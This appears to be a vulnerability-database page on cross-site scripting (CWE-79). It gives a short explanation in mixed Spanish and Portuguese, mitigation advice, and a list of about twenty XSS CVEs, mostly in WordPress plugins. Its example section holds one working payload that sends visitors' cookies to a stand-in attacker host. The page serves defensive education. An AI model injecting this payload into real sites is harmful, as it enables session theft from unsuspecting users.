Fallos del tipo CWE-79

30.296 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-57911MEDIUMWordPress Adverts Plugin <= 1.4 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-46505MEDIUMWordPress Peekaboo plugin <= 1.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2026-6415MEDIUMAdvanced Custom Fields: Font Awesome Field <= 5.0.2 - Authenticated (Subscriber+) Stored Cross-Site Scripting via JSON FieldEPSS 0.3%CVE-2025-57910MEDIUMWordPress AnyClip Luminous Studio Plugin <= 1.3.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-26919MEDIUMWordPress Tainá plugin <= 0.2.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-37548MEDIUMWordPress Meks Easy Ads Widget plugin <= 2.0.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2023-51305MEDIUMPHPJabbers Car Park Booking System v3.0 is vulnerable to Multiple Stored Cross-Site Scripting (XSS) in the "name, plugin_sms_api_key, pluginEPSS 0.3%CVE-2025-55816MEDIUMHotelDruid v3.0.7 and before is vulnerable to Cross Site Scripting (XSS) in the /modifica_app.php file.EPSS 0.3%CVE-2026-34565CRITICALCI4MS: Menu Management (Posts) Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSSEPSS 0.3%CVE-2026-17577MEDIUMSSL Zen <= 4.7.42 - Reflected Cross-Site Scripting via 'uri' ParameterEPSS 0.3%CVE-2025-48368MEDIUMGroupOffice's DOM-Based XSS in all Date Input Fields Allows Arbitrary JavaScript ExecutionEPSS 0.3%CVE-2026-1216HIGHRSS Aggregator <= 5.0.10 - Reflected Cross-Site Scripting via 'template' ParameterEPSS 0.3%CVE-2024-48703MEDIUMPhpGurukul Medical Card Generation System v1.0 is vulnerable to Cross Site Scripting (XSS) in /admin/search-medicalcard.php via the searchdaEPSS 0.3%CVE-2025-46480MEDIUMWordPress Nepali Post Date plugin <= 5.1.1 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-7644MEDIUMPixel Gallery Addons for Elementor – Easy Grid, Creative Gallery, Drag and Drop Grid, Custom Grid Layout, Portfolio Gallery <= 1.6.7 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-65019MEDIUMAstro Cloudflare adapter has a Stored Cross Site Scripting vulnerability in /_image endpointEPSS 0.3%CVE-2022-41814LOWPotential XSS in history viewEPSS 0.3%CVE-2025-3760MEDIUMA stored cross-site scripting (XSS) vulnerability exists with radio button type custom fields in Liferay Portal 7.2.0 through 7.4.3.129, andEPSS 0.3%CVE-2026-103909MEDIUMCalculated Fields Form <= 5.5.1.5 - Reflected DOM-Based Cross-Site Scripting via URL Parameter Substitution in Calculated Field EquationEPSS 0.3%CVE-2024-12444MEDIUMWP Dispensary <= 4.5.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%